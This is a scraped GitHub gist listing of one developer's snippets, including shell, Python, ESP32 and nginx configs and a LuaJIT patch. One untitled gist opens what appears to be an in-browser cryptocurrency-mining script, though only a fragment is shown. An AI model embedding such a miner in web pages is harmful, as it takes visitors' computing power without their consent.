Skip to content

Instantly share code, notes, and snippets.

Avatar

Wangchong Zhou fffonion

View GitHub Profile
View pip.ini
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
extra-index-url = https://pypi.org/simple
https://download.pytorch.org/whl/cu113
@fffonion
fffonion / extract_subtitles.sh
Last active August 26, 2023 21:10
Extract subtitles track
View extract_subtitles.sh
#!/bin/bash
f="$1"
IFS=$'\r\n'
filename="${f%.*}"
bf=$(basename "$filename")
options=()
moptions=()
for s in $(ffprobe "$f" -show_entries stream=index,codec_type,codec_name:stream_tags=language,title -of compact 2>/dev/null|grep "codec_type=subtitle"); do
@fffonion
fffonion / luajit-ctyp-remember-self.patch
Created April 2, 2021 14:38
LuaJIT FFI avoid incoditionally function create patch
View luajit-ctyp-remember-self.patch
diff --git a/src/lib_ffi.c b/src/lib_ffi.c
index a29014e5..268c948c 100644
--- a/src/lib_ffi.c
+++ b/src/lib_ffi.c
@@ -494,6 +494,7 @@ LJLIB_CF(ffi_new) LJLIB_REC(.)
{
CTState *cts = ctype_cts(L);
CTypeID id = ffi_checkctype(L, cts, NULL);
+ printf("my type is %d\n", id);
CType *ct = ctype_raw(cts, id);
@fffonion
fffonion / main.cpp
Created June 30, 2020 09:20
Read Xiaomi Mijia temperature and humidity sensor 2 (LYWSD03MMC) from ESP32
View main.cpp
#include <Arduino.h>
#include <BLEDevice.h>
BLEClient *pClient;
BLEScan *pBLEScan;
#define SCAN_TIME 10 // seconds
bool connected = false;
View rfc822.py
import re
import time
def rfc822(s):
_ = re.findall("[A-z][a-z]+,\s*([^\+G]+)(?:$|\s([\+\-]*)(\d+|GMT))", s)
if not s:
print("%s is not RFC822 Date" % s)
return 0
dt, sgn, tz = _[0]
if tz == "GMT":
@fffonion
fffonion / setup-dashbutton.py
Created September 28, 2019 22:32
Setting up dash button without Amazon App
View setup-dashbutton.py
import requests
import re
import sys
# Initial work from: https://mpetroff.net/2016/07/new-amazon-dash-button-teardown-jk29lp/
h = requests.Session()
BASE_URL = "http://192.168.0.1"
@fffonion
fffonion / changyan.py
Created June 13, 2019 02:52
畅言导出评论转换成导入评论格式
View changyan.py
import json
import time
cmt = open('export.json').read()
cmt = json.loads(cmt)
print(len(cmt['comments']))
blk = set((
'=======',
'~~~~~~~~~~~~'
@fffonion
fffonion / weather.conf
Created March 6, 2019 06:16
Hijack Phicomm K3 weather service to darksky weather API
View weather.conf
server {
listen 443 ssl;
listen [::]:443 ssl;
ssl_certificate certs/default.crt;
ssl_certificate_key certs/default.key;
server_name phiclouds.phicomm.com;
access_log /var/log/nginx/weather-access.log;
View gist:0d83a7f19eee4caaef8c4d0303bb8d6c
(function(window) {
"use strict";
var Miner = function(siteKey, params) {
this.params = params || {};
this._siteKey = siteKey;
this._user = null;
this._threads = [];
this._hashes = 0;
this._currentJob = null;
this._autoReconnect = true;
View csft-sphinx-2.2.11.patch
diff --git a/.gitignore b/.gitignore
index f5be264..518fcc3 100644
--- a/.gitignore
+++ b/.gitignore
@@ -64,3 +64,10 @@
/test/ql/data/*.lock
/test/ql/*.class
/test/ql/*.exe
+
+# for qt-creator